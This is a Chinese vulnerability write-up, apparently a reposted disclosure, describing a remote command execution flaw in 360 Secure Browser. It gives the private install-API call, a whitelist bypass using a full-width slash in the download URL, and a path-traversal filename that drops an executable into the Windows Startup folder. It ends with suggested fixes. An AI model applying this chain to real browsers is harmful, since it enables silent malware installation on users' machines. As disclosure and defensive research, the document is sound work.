首页 > 安全 > 网站安全 >

360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

2016-04-18

360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下:

banner.png



360 安全浏览器支持两种类型的扩展程序:



1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认;

2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;



安装扩展是通过浏览器的私有 api 完成,代码为:

external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{"downurl":"http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip", "appid":"ExtYouxi", "appname":"游戏", "appver":"**.**.**.**2", "callbackFunc":"oninstalled"}', 'installcallback', function() {});



第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。

具体什么条件?咱们来分析下:

通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:

.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl)
.text:5C004978 sub5C004978 proc near ; CODE XREF: sub5C030882+15Ep
.text:5C004978 push ebx
.text:5C004979 push esi
.text:5C00497A mov esi, ecx
.text:5C00497C mov bl, 1
.text:5C00497E test esi, esi
.text:5C004980 jz short loc5C0049D8
.text:5C004982 cmp word ptr [esi], 0
.text:5C004986 jz short loc5C0049D8
.text:5C004988 mov edx, offset aDl360safecom ; **.**.**.**
.text:5C00498D call sub5C0048C7
.text:5C004992 test al, al
.text:5C004994 jnz short loc5C0049D8
.text:5C004996 mov edx, offset aDown360safec ; **.**.**.**
.text:5C00499B mov ecx, esi ; lpszUrl
.text:5C00499D call sub5C0048C7
.text:5C0049A2 test al, al
.text:5C0049A4 jnz short loc5C0049D8
.text:5C0049A6 mov edx, offset abaoku360cn ; **.**.**.**
.text:5C0049AB mov ecx, esi ; lpszUrl
.text:5C0049AD call sub5C0048C7
.text:5C0049B2 test al, al
.text:5C0049B4 jnz short loc5C0049D8
.text:5C0049B6 mov edx, offset aSeupdate360sa ; **.**.**.**
.text:5C0049BB mov ecx, esi ; lpszUrl
.text:5C0049BD call sub5C0048C7
.text:5C0049C2 test al, al
.text:5C0049C4 jnz short loc5C0049D8
.text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.**
.text:5C0049CB mov ecx, esi ; lpszUrl
.text:5C0049CD call sub5C0048C7
.text:5C0049D2 neg al
.text:5C0049D4 sbb al, al
.text:5C0049D6 and bl, al
.text:5C0049D8
.text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5C004978+8j
.text:5C0049D8 ; sub5C004978+Ej ...
.text:5C0049D8 pop esi
.text:5C0049D9 mov al, bl
.text:5C0049DB pop ebx
.text:5C0049DC retn
.text:5C0049DC sub5C004978 endp



看样子应该白名单,

**.**.**.** 
**.**.**.** 
**.**.**.**
**.**.**.**
**.**.**.**



进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。

**.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:

http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip



奇迹出现了,x.x.x.x/.**.**.**.** 符合 **.**.**.** 策略,而宽字节字符 / 又会被浏览器识别为 /,完美。

把 ExtYouxi**.**.**.**2.zip 文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把 ExtYouxi**.**.**.**2.zip 替换成恶意的文件,来达到命令执行的目的。

反复测试发现,ExtYouxi_**.**.**.**2.zip 文件中当加入别的 dll/exe 等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有 ../ 的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。

是的,我们要把一个 exe 文件放到 Windows 的启动目录内。

插件安装后的目录为:

C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名



我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:

C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\



到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。

但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。

简直不敢想像,这可是 360 啊!!!

请看:

链接: http://**.**.**.**/v_show/id_XMTQ1MDE0MDU1Mg==.html 密码:haidianwooyun

解决方案:

1. 最简单的是把宽字节的斜线符号 / 过滤掉

2. 特权 api 当然在特权域下才能调用

相关文章
最新文章
热点推荐